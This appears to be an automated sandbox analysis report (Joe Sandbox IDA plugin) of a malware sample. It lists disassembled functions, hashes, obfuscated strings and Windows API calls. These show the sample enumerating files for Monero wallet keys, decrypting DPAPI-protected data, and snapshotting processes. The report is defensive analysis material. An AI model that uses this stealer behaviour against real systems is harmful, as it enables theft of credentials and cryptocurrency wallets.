Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *!~$2kc$o'7~$q}<$sH|\$sgf'$|`e{
API String ID: 0-528901777
Opcode ID: 48babd37685059f62f03d5a3ccbbf883321baa9254eb6d361bd2bd02f9f9dac2
Instruction ID: 7121bc2f7cc6c7176a834b88d526af9b3a045b15dafd8c82e19627c91ce1b188
Opcode Fuzzy Hash: 48babd37685059f62f03d5a3ccbbf883321baa9254eb6d361bd2bd02f9f9dac2
Instruction Fuzzy Hash: 98B25AF3A082149FE3046E2DEC4567AB7E9EF94720F1A863DEAC5C7744EA3558018693

Function 00EB331D Relevance: 10.3, Strings: 7, Instructions: 1590COMMON

Download Yara Rule

Strings

A3w, xrefs: 00EB42EF
1VW[, xrefs: 00EB3F97
Uj,z, xrefs: 00EB40C4
=u^, xrefs: 00EB3EF9
Jw~_, xrefs: 00EB34AA
n:z, xrefs: 00EB34DD
%u*, xrefs: 00EB3500

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: %u*$1VW[$=u^$A3w$Jw~_$Uj,z$n:z
API String ID: 0-2621347867
Opcode ID: f1627583fe8ef58f7764e5c9dc4ed919ebf0a4650ca17227e8741e27cfda21ec
Instruction ID: 36796f21333d4dc53b4e90d430ea644a4a643adc5825e61764240fcaa9d7d2f4
Opcode Fuzzy Hash: f1627583fe8ef58f7764e5c9dc4ed919ebf0a4650ca17227e8741e27cfda21ec
Instruction Fuzzy Hash: EEB228F360C204AFE3046E2DEC4567AFBE9EF94720F1A493DEAC483744EA3558158697

Function 00EA9E65 Relevance: 9.6, Strings: 7, Instructions: 805COMMON

Download Yara Rule

Strings

>)w, xrefs: 00EAA20B
W_|, xrefs: 00EAA293
J};_, xrefs: 00EAA766
t5oz, xrefs: 00EAA3A9
tWe-, xrefs: 00EAA590
h[u, xrefs: 00EAA364
)_, xrefs: 00EAA694

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >)w$J};_$W_|$h[u$t5oz$tWe-$)_
API String ID: 0-2342638888
Opcode ID: 6b67f7004f23156be752117f1ee5b5662f5ee00f944bbe8d17582764cdc0f7e7
Instruction ID: 5e274316ff9b0c34e4785c447109f9dc750c0b422e2c37718b7e200d155339b2
Opcode Fuzzy Hash: 6b67f7004f23156be752117f1ee5b5662f5ee00f944bbe8d17582764cdc0f7e7
Instruction Fuzzy Hash: 644209F360C2009FE304AE2DDC8576AFBE9EFD4760F1A892DE6C4C7744E63598058696

Function 00AFE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00B10D73), ref: 00AFE4A2
StrCmpCA.SHLWAPI(?,00B114F8), ref: 00AFE4F2
StrCmpCA.SHLWAPI(?,00B114FC), ref: 00AFE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00AFEBDF

Strings

\*.*, xrefs: 00AFE44D

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 8179a203b683e91e646ca51f1e15e8efc9406152b561b4fbad3ebc37c56ca114
Instruction ID: 9e74a7a4ae78d9c29d29d220dc4ca9219ed5d38ccec8e862dfce1182dd9ffd5d
Opcode Fuzzy Hash: 8179a203b683e91e646ca51f1e15e8efc9406152b561b4fbad3ebc37c56ca114
Instruction Fuzzy Hash: F9124871A103189ADB14FB60DD96EED77B9AF54300F4089E8B50AA61D1EF309F49CF92

Function 00EAE333 Relevance: 9.1, Strings: 6, Instructions: 1618COMMON

Download Yara Rule

Strings

C2M}, xrefs: 00EAEF25
w8?/, xrefs: 00EAF399
2G*c, xrefs: 00EAE6A1
7-r, xrefs: 00EAEAE1, 00EAEB90, 00EAEC52, 00EAEC75
`bk, xrefs: 00EAF3E7
_No>, xrefs: 00EAF0D2

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2G*c$7-r$C2M}$_No>$`bk$w8?/
API String ID: 0-487351142
Opcode ID: f800422cadcf16fcfe2093aae3b5e7d7cbd0fdb83f6cf0ada82c45e4c06b83f2
Instruction ID: 48fea3052327517c4986422adfbf9d92dc81dd98f9ca3fd7571c51d526150a22
Opcode Fuzzy Hash: f800422cadcf16fcfe2093aae3b5e7d7cbd0fdb83f6cf0ada82c45e4c06b83f2
Instruction Fuzzy Hash: 67B2F4F360C200AFE3086F29EC8567AFBE9EF94720F1A492DE6C583740E63558458797

Function 00EBB9A6 Relevance: 9.1, Strings: 6, Instructions: 1613COMMON

Download Yara Rule

Strings

ao{, xrefs: 00EBCBA8
Hx|k, xrefs: 00EBC5B4
"$mw, xrefs: 00EBBECD
kpwu, xrefs: 00EBC224
l^v, xrefs: 00EBCA39
CTmy, xrefs: 00EBBE00

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "$mw$CTmy$Hx|k$ao{$kpwu$l^v
API String ID: 0-1836109566
Opcode ID: 0c9baf65c7141bcd56021d801005e76c8804a6287c18a70bd60904c0ba716891
Instruction ID: 203846e85e9254cc99f10f296f7828d7c0c79675229b4b402e4c1106de7572b2
Opcode Fuzzy Hash: 0c9baf65c7141bcd56021d801005e76c8804a6287c18a70bd60904c0ba716891
Instruction Fuzzy Hash: A5B227F360C204AFE708AE2DEC8567AFBE9EF94320F16453DE6C4C3744EA7558058696

Function 00EB1954 Relevance: 9.0, Strings: 6, Instructions: 1514COMMON

Download Yara Rule

Strings

D,wo, xrefs: 00EB1B0F
l/_, xrefs: 00EB26EB
rvo, xrefs: 00EB2BC4
_{, xrefs: 00EB1A7A
J~o7, xrefs: 00EB1A13
'%]}, xrefs: 00EB2AF4

Memory Dump Source

Source File: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: '%]}$D,wo$J~o7$rvo$l/_$_{
API String ID: 0-2591795313
Opcode ID: 0ead957c881a568f874c16a0c7cc1a19ed4e3209e9e572e7270df1122f42ea94
Instruction ID: ee6d2fb86c9cbb7a88acc2ceaf0141baabc698ee72d303ea00394ec93f60ecd1
Opcode Fuzzy Hash: 0ead957c881a568f874c16a0c7cc1a19ed4e3209e9e572e7270df1122f42ea94
Instruction Fuzzy Hash: 44B2C3F260C200AFE704AF29DC8567AFBE9EF94720F16892DE6C4C7744E63558418B97

Function 00AFC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00AFC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00AFC87C
lstrcat.KERNEL32(?,00B10B46), ref: 00AFC943
lstrcat.KERNEL32(?,00B10B47), ref: 00AFC957
lstrcat.KERNEL32(?,00B10B4E), ref: 00AFC978

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 60bd92fa9af460ef7e4b9aef188f3faf7440cd5936929346b82a6266b3dbdb87
Instruction ID: 089b63e6df4266a9eacb4b9ad73982a02545eab6d3d0620d1cb2add0c734b71e
Opcode Fuzzy Hash: 60bd92fa9af460ef7e4b9aef188f3faf7440cd5936929346b82a6266b3dbdb87
Instruction Fuzzy Hash: CA4142B5A0431EDBDB10DF94DD89BFEB7B8BB44704F1045A8F509A6280D7B45A84CFA1

Function 00AF7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00AF724D
RtlAllocateHeap.NTDLL(00000000), ref: 00AF7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00AF7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00AF72A4
LocalFree.KERNEL32(?), ref: 00AF72AE

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: a2c6a97bb11f5cfb8b1fee899d9dcdec1a32c3f2877d2cf0d210cffacf7cff86
Instruction ID: 795de38a9cddc78b94c7623cf26e30ecadd9151092712f2c0356cf4139e66e74
Opcode Fuzzy Hash: a2c6a97bb11f5cfb8b1fee899d9dcdec1a32c3f2877d2cf0d210cffacf7cff86
Instruction Fuzzy Hash: 650100B5B40308BBDB10DBD8DD49FAD77B8AB44700F104159FB45EA2C0D6B0AA008B65

Function 00B09600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B0961E
Process32First.KERNEL32(00B10ACA,00000128), ref: 00B09632
Process32Next.KERNEL32(00B10ACA,00000128), ref: 00B09647
StrCmpCA.SHLWAPI(?,00000000), ref: 00B0965C
CloseHandle.KERNEL32(00B10ACA), ref: 00B0967A

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 9092791a836d5e6b2ef7c21d7fd745db7b4524b2631538ae978882743c74bed3
Instruction ID: 6bec792f12ceb522f460546b3e1bf305d4b164cbff9b08ecf6f2f51edfeabcdb
Opcode Fuzzy Hash: 9092791a836d5e6b2ef7c21d7fd745db7b4524b2631538ae978882743c74bed3
Instruction Fuzzy Hash: F6010CB5A00308ABCB14DFA5CD88BEDBBF8EB48700F1081D8A945E6390DB359B40CF61

Function 00B08680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00B105B7), ref: 00B086CA
Process32First.KERNEL32(?,00000128), ref: 00B086DE
Process32Next.KERNEL32(?,00000128), ref: 00B086F3

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,018A89C8,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

CloseHandle.KERNEL32(?), ref: 00B08761

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180733460.0000000000D3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000EC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180915682.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181799912.0000000000FE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182346954.0000000001179000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182459052.000000000117A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 321b59a435fa62f88479efc0dfafb6b82cea04deee86074174d640ef656d16fa
Instruction ID: fc0047a46ab0a7fc498f3487d1507578c0d4cb8ead109a8fc38982512e6feb4e
Opcode Fuzzy Hash: 321b59a435fa62f88479efc0dfafb6b82cea04deee86074174d640ef656d16fa
Instruction Fuzzy Hash: 95313C71911318ABCB24EB54CC85FEEBBB8EB55700F1085D9A10AA21E0DB706E45CFA1

Function 00B08EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00AF5184,40000001,00000000,00000000,?,00AF5184), ref: 00B08EC0

Memory Dump Source

Source File: 00000000.00000002.2180733460.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.2180712635.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
